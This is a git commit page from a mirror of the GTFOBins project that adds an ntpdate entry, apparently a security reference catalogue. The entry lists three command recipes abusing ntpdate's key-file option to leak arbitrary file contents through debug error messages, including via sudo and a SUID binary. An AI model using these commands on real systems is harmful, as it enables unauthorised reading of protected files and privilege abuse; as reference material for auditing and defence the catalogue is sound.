1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-07 20:50:38 +02:00

Add ntpdate

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
Bagas Mukti 2023-12-23 19:22:22 +07:00 committed by GitHub
parent 6921399368
commit e988dbb8fa
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

16
_gtfobins/ntpdate.md Normal file
View File

@ -0,0 +1,16 @@
---
description: The file is actually parsed and lines are leaked through error messages.
functions:
file-read:
- code: |
LFILE=file_to_read
ntpdate -a x -k $LFILE -d localhost
sudo:
- code: |
LFILE=file_to_read
sudo ntpdate -a x -k $LFILE -d localhost
suid:
- code: |
LFILE=file_to_read
./ntpdate -a x -k $LFILE -d localhost
---